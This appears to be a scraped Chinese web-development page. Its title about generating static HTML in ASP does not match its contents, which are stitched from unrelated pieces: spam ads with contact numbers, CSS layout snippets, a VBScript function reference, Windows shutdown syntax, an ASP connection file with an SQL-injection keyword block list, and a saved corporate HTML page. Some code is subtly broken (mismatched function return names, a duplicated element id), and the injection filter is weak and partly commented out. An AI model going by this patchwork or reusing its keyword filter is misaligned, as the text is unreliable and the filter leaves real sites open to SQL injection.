比较ASP生成静态HTML文件的几种方法

本人是从事网站开发多年，一般的网站一两天之内都可以搞定，全新代码调用函数，使用起来方便，网站后台功能完全，几乎所有的功能都可以实现。可根据用户要求选择ASP/PHP/。NET，联系网站，http://kongjian114.cn,同时本人还运营有一商城http://szpjshop.com上面有最新的便宜手机，MP3，以及服装产品欢迎大家前来选购。联系电话：13410422984，qq:277825884,258410999

听音乐上无忧音乐网http://51-music.com.cn 卖LV包包上http://coco-lv.cn

有上千种LV包包供你选择

网上流传的，我觉得很经典了，你可以看原地址更清楚些。


CSS常用布局实例

一列
单行一列

body { margin: 0px; padding: 0px; text-align: center; }
#content { margin-left:auto; margin-right:auto; width: 400px; width: 370px; }

两行一列

body { margin: 0px; padding: 0px; text-align: center;}
#content-top { margin-left:auto; margin-right:auto; width: 400px; width: 370px;}
#content-end {margin-left:auto; margin-right:auto; width: 400px; width: 370px;}

三行一列

body { margin: 0px; padding: 0px; text-align: center; }
#content-top { margin-left:auto; margin-right:auto; width: 400px; width: 370px; }
#content-mid { margin-left:auto; margin-right:auto; width: 400px; width: 370px; }
#content-end { margin-left:auto; margin-right:auto; width: 400px; width: 370px; }

两列
单行两列

#bodycenter { width: 700px;margin-right: auto; margin-left: auto;overflow: auto; }
#bodycenter #dv1 {float: left;width: 280px;}
#bodycenter #dv2 {float: right;width: 410px;}

两行两列

#header{ width: 700px; margin-right: auto;margin-left: auto; overflow: auto;}
#bodycenter { width: 700px; margin-right: auto; margin-left: auto; overflow: auto; }
#bodycenter #dv1 { float: left; width: 280px;}
#bodycenter #dv2 { float: right;width: 410px;}

三行两列

#header{ width: 700px;margin-right: auto; margin-left: auto; }
#bodycenter {width: 700px; margin-right: auto; margin-left: auto; }
#bodycenter #dv1 { float: left;width: 280px;}
#bodycenter #dv2 { float: right; width: 410px;}
#footer{ width: 700px; margin-right: auto; margin-left: auto; overflow: auto; }

三列
单行三列
绝对定位

#left { position: absolute; top: 0px; left: 0px; width: 120px; }
#middle {margin: 20px 190px 20px 190px; }
#right {position: absolute;top: 0px; right: 0px; width: 120px;}

float定位

xhtml:

<div id="warp">
<div id="column">
<div id="column1">这里是第一列</div>
<div id="column2">这里是第二列</div>
<div class="clear"></div>
</div>
<div id="column3">这里是第三列</div>
<div class="clear"></div>
</div>

CSS:

#wrap{ width:100%; height:auto;}
#column{ float:left; width:60%;}
#column1{ float:left; width:30%;}
#column2{ float:right; width:30%;}
#column3{ float:right; width:40%;}
.clear{ clear:both;}

float定位二

xhtml:

<div id="center" class="column">
<h1>This is the main content.</h1>
</div>
<div id="left" class="column">
<h2>This is the left sidebar.</h2>
</div>
<div id="right" class="column">
<h2>This is the right sidebar.</h2>
</div>

CSS:

body {margin: 0;padding-left: 200px;padding-right: 190px;min-width: 240px;}
.column {position: relative;float: left;}
#center {width: 100%;}
#left {width: 180px; right: 240px;margin-left: -100%;}
#right {width: 130px;margin-right: -100%;}

两行三列

xhtml:

<div id="header">这里是顶行</div>
<div id="warp">
<div id="column">
<div id="column1">这里是第一列</div>
<div id="column2">这里是第二列</div>
<div class="clear"></div>
</div>
<div id="column3">这里是第三列</div>
<div class="clear"></div>
</div>

CSS:

#header{width:100%; height:auto;}
#wrap{ width:100%; height:auto;}
#column{ float:left; width:60%;}
#column1{ float:left; width:30%;}
#column2{ float:right; width:30%;}
#column3{ float:right; width:40%;}
.clear{ clear:both;}

三行三列

xhtml:

<div id="header">这里是顶行</div>
<div id="warp">
<div id="column">
<div id="column1">这里是第一列</div>
<div id="column2">这里是第二列</div>
<div class="clear"></div>
</div>
<div id="column3">这里是第三列</div>
<div class="clear"></div>
</div>
<div id="footer">这里是底部一行</div>

CSS:

#header{width:100%; height:auto;}
#wrap{ width:100%; height:auto;}
#column{ float:left; width:60%;}
#column1{ float:left; width:30%;}
#column2{ float:right; width:30%;}
#column3{ float:right; width:40%;}
.clear{ clear:both;}
#footer{width:100%; height:auto;}

PS:这里列出的是常用的例子，而非研究之用，对一每个盒子，我都没有设置margin,padding,boeder等属性，是因为我个人觉得，含有宽度定位的时候，最好不好用到他们，除非必不得已，因为如果不是这样的话，解决浏览器兼容问题，会让你头疼，而且产生一系列CSS代码，我觉得这样的效率和效果都不好！

3.CSS布局高级技巧

margin和padding总是有可能要用到，而产生的问题如何解决呢？由于浏览器解释容器宽度的方法不同：

IE 6.0 Firefox Opera等是
真实宽度=width+padding+border+margin
IE5.X
真实宽度=width-padding-border-margin

很明显，第一种下很完美的布局在第二种情况下后果是很凄惨的！

解决的方法是 hack


div.content {
width:400px; //这个是错误的width，所有浏览器都读到了
voice-family: "\"}\""; //IE5.X/win忽略了"\"}\""后的内容
voice-family:inherit;
width:300px; //包括IE6/win在内的部分浏览器读到这句，新的数值(300px)覆盖掉了旧的
}
html>body .content { //html>body是CSS2的写法
width:300px; //支持CSS2该写法的浏览器(非IE5)有幸读到了这一句
}

div.content {
width:300px !important; //这个是正确的width，大部分支持!important标记的浏览器使用这里的数值
width(空格)/**/:400px; //IE6/win不解析这句，所以IE6/win仍然认为width的值是300px；而IE5.X/win读到这句，新的数值(400px)覆盖掉了旧的，因为!important标记对他们不起作用
}
html>body .content { //html>body是CSS2的写法
width:300px; //支持CSS2该写法的浏览器有幸读到了这一句
}

具体解释点击下面链接查看

www.blueidea.com/tech/site/2006/3170.asp
www.jluvip.com/blog/article.asp?id=114

列等高技巧

n行n列布局，每列高度（事先并不能确定哪列的高度）的相同，是每个设计师追求的目标，做法有：背景图填充、加JS脚本的
方法和容器溢出部分隐藏和列的负底边界和正的内补丁相结合的方法。

背景图填充法：

xhtml:

<div id="wrap">
<div id="column1">这是第一列</div>
<div id="column1">这是第二列</div>
<div class="clear"></div>
</div>

css:

#wrap{ width:776px; background:url(bg.gif) repeat-y 300px;}
#column1{ float:left; width:300px;}
#column2{ float:right; width:476px;}
.clear{ clear:both;}

就是将一个npx宽的一张图片在外部容器纵向重复，定位到两列交错的位置纵向重复，在视觉上产生了两列高度一样的错觉

JS脚本法：

www.blueidea.com/bbs/NewsDetail.asp?id=2453983
代码的原理基本就是这样，读取高度，判断高度，高度相等。

容器溢出部分隐藏和列的负底边界和正的内补丁相结合的方法

这篇文章说的很详细了：

www.blueidea.com/tech/web/2006/3210.asp

还有：

www.jluvip.com/blog/article.asp?id=151

满屏高度布局（最窄770px最宽1024px经典布局）

www.blueidea.com/tech/web/2005/3124.asp

今天和一个网友两天，他提到：给一个外国公司做网站，要求1.800x600满屏。2.1024x767满屏。3.1280下居中。4.不许用JS。
我突然想起了这篇文章，哈哈！把它感觉不可思议的事情解决了！但是好像对于IE5有点问题啊！
参考资料：http://bbs.blueidea.com/viewthread.php?tid=2506047

http://www.prototypejs.org

管方网站下载最新AJAX学习

函数 语法 功能 Len Len(string|varname) 返回字符串内字符的数目，或是存储一变量所需的字节数。 Trim Trim(string) 将字符串前后的空格去掉 Ltrim Ltrim(string) 将字符串前面的空格去掉 Rtrim Rtrim(string) 将字符串后面的空格去掉 Mid Mid(string,start,length) 从string字符串的start字符开始取得length长度的字符串，如果省略第三个参数表示从start字符开始到字符串结尾的字符串 Left Left(string,length) 从string字符串的左边取得length长度的字符串 Right Right(string,length) 从string字符串的右边取得length长度的字符串 LCase LCase(string) 将string字符串里的所有大写字母转化为小写字母 UCase UCase(string) 将string字符串里的所有大写字母转化为大写字母 StrComp StrComp(string1,string2[，compare]) 返回string1字符串与string2字符串的比较结果，如果两个字符串相同，则返回0，如果小于则返回-1，如果大于则返回1 InStr InStr(string1,string2[,compare]) 返回string1字符串在string2字符串中第一次出现的位置 Split Split(string1,delimiter[,count[,start]]) 将字符串根据delimiter拆分成一维数组，其中delimiter用于标识子字符串界限。如果省略，使用空格("")作为分隔符。count返回的子字符串数目，-1指示返回所有子字符串。start为1执行文本比较；如果为0或者省略执行二进制比较。 Replace Replace(expression,find,replacewith[,compare[,count[,start]]]) 返回字符串，其中指定数目的某子字符串(find)被替换为另一个子字符串(replacewith)。 补充： Asc Asc函数提取字符串第一个字母的ANSI字符码。 用法为：result = Asc(string) 其中result是字符码，string是任意有效的字符串表达式。如果string为Empty，则产生一个实时错误。 AscB AscB函数提取字符串的第一个字节。 用法为：result = AscB(string) 其中result是Byte字类，string是任意有效的字符串表达式。如果string为Empty，则产生一个实时错误。 AscW AscW函数提取字符串第一个字母的Unicode字符码。 用法为：result = AscW(string) 其中result是Unicode，string是任意有效的字符串表达式。如果string为Empty，则产生一个实时错误。 InStr InStr函数识别某个记号在字符串中的首字母位置。 用法为：newstart = InStr([start, ]source, token[, compare]) 其中newstart时记号在字符串中的位置（如果没有的话则为0），start是查找的起始位置，source是要查找的字符串，token是要定位的字符串，compare是比较类型（0表示二进制比较，1表示忽略大小写的文本比较）。 InStrB InStrB函数是InStr的字节版，识别某个记号在字符串中的首字节位置。 用法为：newstart = InStrB([start, ]source, token[, compare]) 其中newstart时记号在字符串中的首字节位置（如果没有的话则为0），start是查找的起始位置，source是要查找的字符串，token是要定位的字符串，compare是比较类型（0表示二进制比较，1表示忽略大小写的文本比较）。 LCase LCase函数把字符串变为小写形式。 用法为：result = LCase(string) 其中result是小写字符串，string是任意有效的字符串表达式。 Left Left函数从字符串的起始处提取指定数目的字符。 用法为：result = Left(string,length) 其中result是字符串变量，string是有效的字符串表达式，length是表示返回多少字符的数值型表达式。 LeftB LeftB函数从字符串的起始处提取指定数目的字节。 用法为：result = LeftB(string,length) 其中result是字符串变量，string是有效的字符串表达式，length是表示提取的字节数的数值型表达式。 Len Len函数确定字符串的大小或存储这个变量需要多少字符。 用法为：result = Len(string | varname) 其中，result是字符串中的字符数或存储这个变量所需的字节数，string是任意有效的字符串表达式，varname是变量名。 LenB Len函数确定字符串的大小或存储这个变量需要多少字节。 用法为：result = LenB(string | varname) 其中，result是字符串中的字节数或存储这个变量所需的字节数，string是任意有效的字符串表达式，varname是变量名。 LTrim LTrim函数复制字符串并去掉前面的空格。 用法为：result = LTrim(string) 其中，result是去掉空格后的字符串，string是要去掉空格的有效字符串表达式。 Mid Mid函数从字符串的某个位置复制指定数目的字符。 用法为：result = Mid(string,start[,length]) 其中，result是结果字符串，string是要从中复制字符的表达式，start是string中复制的起始位置，length是要复制的字符数。 MidB Mid函数从字符串的某个位置复制指定数目的字节。 用法为：result = Mid(string,start[,length]) 其中，result是结果字符串，string是要从中复制字节的表达式，start是string中复制的起始位置，length是要复制的字节数。 Right Right函数从字符串的尾部提取指定数目的字符。 用法为：result = Right(string,length) 其中result是字符串变量，string是有效的字符串表达式，length是表示返回多少字符的数值型表达式。 RightB RightB函数从字符串的起始处提取指定数目的字节。 用法为：result = RightB(string,length) 其中result是字符串变量，string是有效的字符串表达式，length是表示提取的字节数的数值型表达式。 RTrim RTrim函数复制字符串并去掉尾部的空格。 用法为：result = RTrim(string) 其中，result是去掉空格后的字符串，string是要去掉空格的有效字符串表达式。 String String函数构造含有多个相同字符的字符串。 用法为：result = String(number, character) 其中，result是字符串变量，number是返回字符串的长度，character是用来构造返回字符串的字符码。 Trim Trim函数复制字符串并去掉首尾的空格。 用法为：result = Trim(string) 其中，result是去掉空格后的字符串，string是要去掉空格的有效字符串表达式。 UCase UCase函数把字符串变为大写形式。 用法为：result = UCase(string) 其中result是大写字符串，string是任意有效的字符串表达式。 asp字符串函数   [讨论] 函数说明 CBool 数据转Boolean类型 Cdate 数据转Time类型 CDbl 数据转Double类型 Cint 数据转Integer类型 CLng 数据转Lang类型 Asc 字符转数字类型 CStr 数字转String类型 Chr 数字转字符类型 Variant变量一般会将其代表的数据子类型自动转换成合适的数据类型,但有时候,自动转换也会造成一些数据类型不匹配的错误.这时,可使用转换函数来强制转换数据的子类型. 函数 功能 Asc 函数 返回与字符串的第一个字母对应的 ANSI 字符代码。 Chr 函数 返回与指定的 ANSI 字符代码相对应的字符 Hex 函数 返回表示十六进制数字值的字符串。 Oct 函数 返回表示数字八进制值的字符串。 CStr 函数 返回表达式，该表达式已被转换为 字符串 子类型。 CDate 函数 返回表达式，此表达式已被转换为 日期 子类型。 CInt 函数 返回表达式，此表达式已被转换为 整数 子类型。 CLng 函数 返回表达式，此表达式已被转换为 长整数 子类型 CSng 函数 返回表达式，该表达式已被转换为 Single 子类型 CDbl 函数 返回表达式，此表达式已被转换为 Double 子类型 CBool 函数 返回表达式，此表达式已转换为 布尔 子类型 1、Asc 函数示例 下面例子中, Asc 返回每一个字符串首字母的 ANSI 字符代码: Dim MyNumber MyNumber = Asc("A") '返回 65。 MyNumber = Asc("a") '返回 97。 MyNumber = Asc("Apple") '返回 65。 2、Chr 函数示例 下面例子利用 Chr 函数返回与指定的字符代码相对应的字符: Dim MyChar MyChar = Chr(65) '返回 A。 MyChar = Chr(97) '返回 a。 MyChar = Chr(62) '返回 >。 MyChar = Chr(37) '返回 %。 3、Hex 函数示例 下面的示例利用 Hex 函数返回数字的十六进制数： Dim MyHex MyHex = Hex(5) ' 返回 5。 MyHex = Hex(10) ' 返回A。 MyHex = Hex(459) ' 返回 1CB。 4、Oct 函数示例 下面的示例利用 Oct 函数返回数值的八进制数： Dim MyOct MyOct = Oct(4) ' 返回 4。 MyOct = Oct(8) ' 返回 10。 MyOct = Oct(459) ' 返回 713。 5、 CStr 函数示例 <%num1=666StrWelcome="欢迎第"&CStr(num1)&"个来访者"%> CStr将变量num1由整数子类型强制转换为字符串子类型 6、CDate 函数示例 MyDate = "October 19, 1962" ' 定义日期。 MyShortDate = CDate(MyDate) ' 转换为日期数据类型。 MyTime = "4:35:47 PM" ' 定义时间。 MyShortTime = CDate(MyTime) ' 转换为日期数据类型。 7、CInt 函数示例 Dim MyDouble, MyInt MyDouble = 2345.5678 ' MyDouble 是 Double。 MyInt = CInt(MyDouble) ' MyInt 包含 2346。 8、CLng 函数示例 Dim MyVal1, MyVal2, MyLong1, MyLong2 MyVal1 = 25427.45: MyVal2 = 25427.55 ' MyVal1, MyVal2 是双精度值。 MyLong1 = CLng(MyVal1) ' MyLong1 25427。 MyLong2 = CLng(MyVal2) ' MyLong2 包含 25428 。 9、CBool 函数示例 Dim A, B, Check A = 5: B = 5 ' 初始化变量。 Check = CBool(A = B) '复选框设为 True 。 A = 0 '定义变量。 Check = CBool(A) '复选框设为 False

at 9：01 shutdown -r -f     在9点1分重启计算机；    shutdown -r -f -t 10    10秒后，强制退出程序，重新启动计算机；    shutdown命令： SHUTDOWN命令的语法格式：SHUTDOWN[-i/-l/-s/-r/-a][-f][-m[\\ComputerName]][-t XX][-c"message"][-d[u][p]:xx:yy] 其中，各参数的含义为 -i：显示图形界面的对话框 -l：注销当前用户，这是默认设置 -s：关闭计算机 -r：关闭之后立即重新启动 -a：终止关闭，除了-l和ComputerName外，系统将忽略其他参数。在超时期间，你只能使用-a -f：强制运行要关闭的应用程序 -m：[\\ComputerName]指定要关闭的计算机 -t：XX将用于系统关闭的定时器设置为XX秒，默认是20秒 -c："message"指定将在“系统关闭”窗口中的“消息”区域显示消息，最多可以使用127个字符，引号中必须包含消息 -d：[u][p]:xx:yy列出系统关闭的原因代码

<%
host=request.ServerVariables("HTTP_HOST")
host=right(host,len(host)-instr(host,"."))
if host="cn" or host="com" then
host=request.ServerVariables("HTTP_HOST")
end if
'Dim SqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName,Conn,ConnStr
   SqlDatabaseName = "****"
   SqlPassword = "****"
   SqlUsername = "*****"
   SqlLocalName = "(local)"
   ConnStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"

Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr

function response1(tes)
   request1=Replace(tes,"{‘}","'")
end function

Sub HitsAdd(tname,id,lanmumin)
End Sub'
function got_topic(str,strlen)
    if str="" then
   got_pic=""
   exit function
end if
dim l,t,c,i

l=len(str)
t=0
for i=1 to l
     c=abs(asc(mid(str,i,1)))
       if c>255 then
       t=t+2
         else
           t=t+1
        end if
if t>=strlen then
     got_topic=left(str,i)&"..."
    exit for
     else
         got_topic=str
               end if
        next
       
end function

SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|chr|mid|master|truncate|char|declare|,"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then

Response.Write "<Script Language=JavaScript>alert('"&Sql_Inj(Sql_DATA)&"\n请不要在参数中包含非法字符尝试注入！');history.back(-1)</Script>"
Response.end
end if
next
Next
End If

'SQL_injdata = "'|*"
'If Request.Form<>"" Then
'For Each Sql_Post In Request.Form
'For SQL_Data=0 To Ubound(SQL_inj)
'if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
'Response.Write "<Script Language=JavaScript>alert('"&Sql_Inj(Sql_DATA)&"\n请不要在参数中包含非法字符尝试注入！?');history.back(-1)</'Script>"
'Response.end
'end if
'next
'next
'end if

%>
<script language="javascript">
function checkspace(checkstr)
{ var str='';
for(var i=0;i<checkstr.length;i++)
{ str=str+' ';}
return (str==checkstr)
}
</script>
<script language="JavaScript">
<!--
//图片按比例缩放
var flag=false;
function DrawImage(ImgD,iwidth,iheight){
var image=new Image();
image.src=ImgD.src;
if(image.width>0 && image.height>0){
flag=true;
if(image.width/image.height>= iwidth/iheight){
if(image.width>iwidth){
ImgD.width=iwidth;
ImgD.height=(image.height*iwidth)/image.width;
}else{
ImgD.width=image.width;
ImgD.height=image.height;
}
ImgD.alt=image.width+"×"+image.height;
}
else{
if(image.height>iheight){
ImgD.height=iheight;
ImgD.width=(image.width*iheight)/image.height;
}else{
ImgD.width=image.width;
ImgD.height=image.height;
}
ImgD.alt=image.width+"×"+image.height;
}
}
}
//-->
</script>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0028)http://sh.evoc.com/ProTj.asp -->
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>
.sec1 {
CURSOR: hand; COLOR: #000000;
}
.sec2 {
FONT-WEIGHT: bold; BACKGROUND-IMAGE: url(images/newtitle.jpg); CURSOR: hand; COLOR: #000000
}
</STYLE>
<!--JavaScript部分-->
<SCRIPT language=javascript>
     function secBoard(n)
{
    for(i=0;i<secTable.cells.length;i++)
      secTable.cells

[i].className="sec1";
    secTable.cells[n].className="sec2";
    for(i=0;i<mainTable.tBodies.length;i++)
      mainTable.tBodies

[i].style.display="none";
    mainTable.tBodies

[n].style.display="block";
}
      </SCRIPT>
<!--HTML部分--><LINK href="images/style.css" type=text/css rel=stylesheet>
<META content="MSHTML 6.00.2900.3199" name=GENERATOR><style type="text/css">
<!--
a:link {
text-decoration: none;
color: #666666;
}
a:visited {
text-decoration: none;
color: #999999;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.STYLE2 {color: #9DF69C}
-->
</style></HEAD>
<BODY>
<TABLE width=739 height="22" border=0 cellPadding=0 cellSpacing=0
background=images/newtitle.jpg id=secTable>
<TBODY>
<TR align=middle height=21>
    <TD class=sec2 onmouseover=secBoard(0) width="110" height=21><A
      class=middle
      href="news.aspx"
      target=_blank>News</A></TD>
    <TD class=sec1 onmouseover=secBoard(1) width="108"><A class=middle
      href="Product.aspx" target=_blank> Hot Product</A></TD>
    <TD class=sec1 onmouseover=secBoard(2) width="110"><A class=middle
      href="solution.aspx"
      target=_blank>Solutions</A></TD>
    <TD class=sec1 onmouseover=secBoard(3) width="105"><A class=middle
      href="certification.aspx"
      target=_blank>Certification</A></TD>
    <TD class=sec1 onmouseover=secBoard(4) width="105"><A class=middle
      href="investor.aspx"
      target=_blank>Investor</A></TD>

<TD class=sec1 onmouseover=secBoard(5) width="105"><A class=middle
      href="Events.html"
      target=_blank>Events</A></TD>
<TD width="121" bgcolor="#FFFFFF">&nbsp;</TD>
</TR></TBODY></TABLE>
<TABLE class=main_tab id=mainTable height=560 cellSpacing=0 cellPadding=0
width=739 border=0><!--关于TBODY标记-->
<TBODY style="DISPLAY: block">
<TR>
    <TD width="739" height="140" align=middle vAlign=top background="images/a_26_1.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="4%">&nbsp;</td>
        <td width="87%"></td>
        <td width="9%">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2"><a href="newsdetail.aspx?id=73" target=_blank>EVOC New Products Serve Northeastern Industrial Base </a> </td>
        </tr>
      <tr>
        <td>&nbsp;</td>
        <td> <a href="newsdetail.aspx?id=71" target=_blank>EVOC Intelligent Attended the 20th Anniversary Conference of Shenzhen Computer Industry </a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><a href="newsdetail.aspx?id=72" target="_blank">Officials of Nanshan District Government of Shenzhen Visited EVOC Intelligent
</a></td>
        <td>&nbsp;</td>
      </tr>
     
      <tr>
        <td>&nbsp;</td>
        <td><a href="newsdetail.aspx?id=70" target="_blank">EVOC Intelligent (HK8285) Listed in the Top 10 Listed Company of China 2007</a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><a href="newsdetail.aspx?id=74" target=_blank>EVOC International Business Department Success in Defexpo India 2008 </a></td>
        <td><a href="news.aspx" target=_blank><img src="images/button.jpg" alt="evoc" border="0"></a></td>
      </tr>
    </table></TD>
</TR></TBODY><!--关于cells集合-->
<TBODY style="DISPLAY: none">
<TR>
    <TD height="136" align=middle vAlign=top background="images/a_26_2.gif"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td width="23%">&nbsp;</td>
        <td width="23%">&nbsp;</td>
        <td width="22%">&nbsp;</td>
        <td width="23%">&nbsp;</td>
        <td width="9%">&nbsp;</td>
      </tr>
      <tr>
        <td align="center">CPC-RP801</td>
        <td align="center">CPC-8802A</td>
        <td align="center">HDD-3011-40G</td>
        <td align="center">EC3-1812LDNA</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">104-1713CLDN</td>
        <td align="center">104-1712CLDN</td>
        <td align="center">IPC-8661</td>
        <td align="center">CPC-3414</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">CPC-3408</td>
        <td align="center">CPC-8404</td>
        <td align="center">NET-1715VD4N</td>
        <td align="center">IPC-8423</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">EC3-1642CLD3N</td>
        <td align="center">104-1482CLDN</td>
        <td align="center">104-1624CLDN</td>
        <td align="center">CPC-1812VD4NA</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td><a href="product.aspx" target=_blank><img src="images/button.jpg" alt="evoc" border="0"></a></td>
      </tr>
    </table></TD>
</TR></TBODY><!--关于tBodies集合-->
<TBODY style="DISPLAY: none">
<TR>
    <TD height="136" align=middle vAlign=top background="images/a_26_3.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="4%">&nbsp;</td>
        <td width="46%">&nbsp;</td>
        <td width="41%">&nbsp;</td>
        <td width="9%">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="soludetail.aspx?id=13" target=_blank>The Application of Smelter’s Sulfuric Acid Plant Control Solution </A></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="soludetail.aspx?id=32" target=_blank>The Application of EC3-1651CLDNA Application in Automotive Electronics </A></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="soludetail.aspx?id=33" target=_blank>The Application of Integrated Business Management and Office Network Solution </A></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="soludetail.aspx?id=37" target=_blank>The Application of All-in-one Workstation Applications in Rural Power Substation Automatic System</A></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="soludetail.aspx?id=44" target=_blank>The Application of Electronic Tickets Solution</a></td>
        <td><a href="solution.aspx" target=_blank><img src="images/button.jpg" alt="evoc" border="0"></a></td>
      </tr>
    </table></TD>
</TR></TBODY><!--关于display属性-->
<TBODY style="DISPLAY: none">
<TR>
    <TD height="140" align=middle vAlign=top background="images/a_26_4.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="5%">&nbsp;</td>
        <td width="44%">&nbsp;</td>
        <td width="42%">&nbsp;</td>
        <td width="9%">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="http://www.evoc.com/oversea/images/2007-Obtained%20latest%20ISO%2090012000%20certificate%20from%20TUV.jpg" target=_blank>Obtained the latest ISO 9001:2000 certificate from TUV</a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="http://www.evoc.com/oversea/images/2005-Obtained%20ISO%20140012004%20Enveironment%20Management%20System%20Certificate.jpg" target="_blank">Obtained ISO 14001:2004 Enveironment Management System Certificate </a><a href="faq.aspx" target="_blank"></a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="http://www.evoc.com/oversea/images/2003-Obtained%20ISO%2090012000%20certificate%20from%20TUV.jpg" target=_blank>Obtained ISO 9001:2000 certificate from TUV</A></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="http://www.evoc.com/oversea/reputation/No.15ISO9001cqceng.jpg" target="_blank">Obtained ISO 9001:2000 certificate from CQC</a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="images/1998-Obtained ISO 90021994 certifcate from CQC.gif" target="_blank">Obtained ISO 9002:1994 certifcate from CQC</A></td>
        <td><a href="certification.aspx" target=_blank><img src="images/button.jpg" alt="evoc" border="0"></a></td>
      </tr>
    </table></TD>
</TR></TBODY>
<TBODY style="DISPLAY: none">
<TR>
    <TD height="140" align=middle vAlign=top background="images/a_26_1.gif"><table width="99%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="5%">&nbsp;</td>
        <td width="44%">&nbsp;</td>
        <td width="42%">&nbsp;</td>
        <td width="9%">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="http://www.evoc.com.cn/2007evoc/englishwebsite/Investor/2008-3-26/Announcements and Notices - [Final Results] .pdf" target=_blank>Announcements and Notices - [Final Results] ANNOUNCEMENT
ANNUAL RESULTS ANNOUNCEMENT 2007</a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="http://www.evoc.com.cn/2007evoc/englishwebsite/Investor/2008-3-26/Announcements and Notices - [Final Results] ANNUAL RESULTS ANNOUNCEMENT FOR THE YEAR ENDED 31 DECEMBER 2007.pdf" target="_blank">Announcements and Notices - [Final Results] ANNUAL RESULTS ANNOUNCEMENT FOR THE YEAR ENDED 31 DECEMBER 2007</a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="http://www.evoc.com.cn/2007evoc/englishwebsite/Investor/2007-11-5/Announcements and Notices - [Quarterly Results] THIRD QUARTER RESULTS ANNOUNCEMENT FOR THE NINE MONTHS ENDED 30 SEPTEMBER 2007 .pdf" target=_blank>Announcements and Notices - [Quarterly Results] THIRD QUARTER RESULTS ANNOUNCEMENT FOR THE NINE MONTHS ENDED 30 SEPTEMBER 2007</a></td>
        <td valign="bottom"><a href="investor.aspx" target=_blank><img src="images/button.jpg" alt="evoc" border="0"></a></td>
      </tr>
     
     
    </table></TD>
<TBODY style="DISPLAY: none">
<TR>
    <TD height="140" align=middle vAlign=top background="images/a_26_4.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="5%">&nbsp;</td>
        <td width="44%">&nbsp;</td>
        <td width="42%">&nbsp;</td>
        <td width="9%">&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="Events.html#a" target=_blank><span style="text-align:justify;text-justify:inter-ideograph"><strong>On October 22, 2007</strong>, Mr. Sridhara Narastmha Murthy, CEO of Sritech Electronics&amp;Systems, paid a visit to EVOC Shenzhen headquarters.</span></a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><a href="Events.html#b" target="_blank"> On March 21, 2008, Mr. Marcel, Mr. Mike and Ms Sammy from Maestroni BV, visited our Shenzhen headquarters.</a><a href="faq.aspx" target="_blank"></a></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="Events.html#c" target=_blank>On 18 April 2008, Mr. Leandro, CEO of the Brazil based company LR Information Industrial visited EVOC!</A></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td colspan="2" align="left"><A href="images/1998-Obtained ISO 90021994 certifcate from CQC.gif" target="_blank"></A></td>
        <td><a href="Events.html" target=_blank><img src="images/button.jpg" alt="evoc" border="0"></a></td>
      </tr>
    </table></TD>
</TR></TBODY>
</TR></TBODY></TABLE></BODY></HTML>

<%@ LANGUAGE = VBScript %>
<!--#include file="conn.asp"-->
<%
name=request.form("name")
